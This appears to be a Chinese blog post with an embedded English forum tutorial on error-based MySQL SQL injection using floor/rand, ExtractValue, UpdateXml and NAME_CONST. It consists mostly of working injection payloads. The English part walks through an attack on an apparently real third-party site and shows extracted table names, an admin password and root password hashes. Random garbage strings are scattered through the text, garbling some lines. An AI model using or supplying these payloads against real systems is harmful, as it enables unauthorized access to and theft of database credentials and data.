mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
2 H; M3 l  n# w+ ^" T首先进行正常查询：

mysql> select * from article where id = 1;
  f$ F; u9 m/ o/ t+—-+——-+———+
| id | title | content |
1 J6 j" m9 F+ y: {5 k# C& H) U4 H+—-+——-+———+
|  1 | test  | do it   |
+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
5 i+ w1 b- M: Y5 E; IERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
* e' {/ ~' b; a; k4 A- }: q: x) GERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
/ h; w1 Q3 h& Y* L测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
" {$ B1 T! b" o! B8 B, k% \ERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

! ?0 f' A$ c/ X

再收集：

http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)
5 q0 F4 D; t# o* T& p* u
Erroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’

http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)

Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′
0 f# w0 X3 ^) u  P
3 K+ I# F; ^2 K$ WMYSQL高版本报错注入技巧-利用NAME_CONST注入
/ ]: ^( R; V6 n7 EIt's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.
' l: `+ V* y6 m/ U  R; [6 k

- h! G- f5 b. w相关信息
6 z9 s; A% o$ [9 P5 I* r1 I9 K! q# Q
7 {" [/ v% ]& W$ `3 K$ h% rNAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.

Code:
NAME_CONST(DATA, VALUE)
: a9 f6 ]( v7 x- H
& w( g5 T6 e0 Q: hReturns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.
4 a8 ?! G2 Z- L6 K. I0 R2 j, ]
" @& ~7 G. z2 }# M1 T7 lSELECT NAME_CONST('TEST', 1)


6 M- Z# x; V# e0 V( ?7 o8 e
3 a& ], p3 E+ I, d|---------------|
+ z* q2 q( T' y0 {& x* r- j) h- q7 q|     TEST      |
1 q5 N3 v  ]+ f! F|               |
! l/ O# c$ H/ t0 k: Z|---------------|
& `0 S1 E7 V, w/ c- l|       1       |
' Z, L, @# Q- N# J0 `|               |
|---------------|
' z, i3 U( A4 m. P5 i+ J

$ `: W7 P. S8 i  q" J- y4 \
. }' Z- X2 X: d6 P+ E) z
! `0 X5 |% m9 ohttp://dev.mysql.com/doc/refman/5.0/en/m...name-const
; T* \, `9 Z' j# ^Intro to MySQL Variables
' w4 M* t# C& r5 f" K0 v! b
; j' [2 t& w- e7 \' P3 a* YOnce you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.

( t6 `! D% @' @5 b  WCode:
5 x& U3 N7 V1 s/ E0 R( Ehttp://www.baido.hk/qcwh/content ... ;sid=19&cid=261



7 f( w1 e6 C" {% q) z6 v* K
- J+ m. i" [( ?6 @9 w- R$ r
9 E& ]  p% i# f+ wCode:
and+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--
1 v7 `' b! J! {9 c

VAR = Your MySQL variable.

( |  P; c* ^$ o3 AMySQL 5.1.3 Server System Variables

Let's try it out on my site..
) h7 K6 R: M9 j) c- c, `
5 |' `/ d4 m; f; `: xCode:
% U  v: E% u8 K1 S. rhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--

Erroruplicate column name '5.0.27-community-nt'


0 ~- I8 H9 d. O! M, B

. k3 ^5 V5 C' Y$ |
" V; z' L7 U( m4 h3 ZNow I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...

Data Extraction

Code:
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--
& d. Z8 Y, W; }& N2 F, T. H3 Q

We should get a duplicate column 1 error...

Code:
4 {( w) M% U4 r  B# ^http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--
( |2 q3 {$ M/ N& ^0 p3 N8 Y# j" c
1 O- A6 `3 t) _/ \Erroruplicate column name '1

( U% u# m" Z7 R; b0 ?

" H, k& x$ f8 _3 Q  \
% j& |- _  O; n8 f; X

Now let's get the tables out this bitch..

- O, r+ \0 X! e! Z& E8 J% ^( wCode:
4 K# O0 u# T3 h, M6 G6 F! c8 ?+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
1 ]. {% B  `% j. M$ u
9 F- {0 z& `- ^3 n4 ~3 {
8 M0 ?5 r, J7 {4 E7 Y2 d, N% T1 b7 PLet's see if it works here, if it does, we can go on and finish the job.
1 S7 r" a* a9 F2 S: ~6 n
% H4 J+ Q3 _! p% h. S, sCode:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--


Erroruplicate column name 'com_admanage


: N( d5 i* O- U: b

) r, _/ y. o; K5 {: J# m
! I4 H* y3 y6 V0 {* j
Now I'm going to be lazy and use mysql.user as an example, just for the sake of time.
2 F* L9 j. O- `) ]
Let's get the columns out of the user table..
3 W6 X3 N5 k6 d; v
Code:
+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--

( g) v& v2 f, F* Z. r( F
So mine looks like this, and I get the duplicate column name 'Host'.

Code:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--
( ~5 D+ b- x& F0 n0 ^: \7 Z
Erroruplicate column name 'Host'
3 Z; f1 l9 n- x4 Y





! e; Y, F2 U( A* k+ JWoot, time to finish this bitch off.

Code:
" E/ y! b  G! w+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--
1 Q5 R0 `* S! D& @9 m' Q4 Y% m

" O* R# b6 W; v( `" Y! a3 hSo mine looks like this...

Code:
http://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--

9 I% v0 C" N+ F; N" [Erroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'
- i% T5 ?7 A5 a! |% V/ w


* `$ P( ?7 k, @0 j7 V+ J

. ?" T/ R2 b" K) s+ |
/ A+ @+ r. f: H& U9 ^- R; JAnd there we have it, thanks for reading.

/ I4 `7 H/ E- n' H3 W- ^' G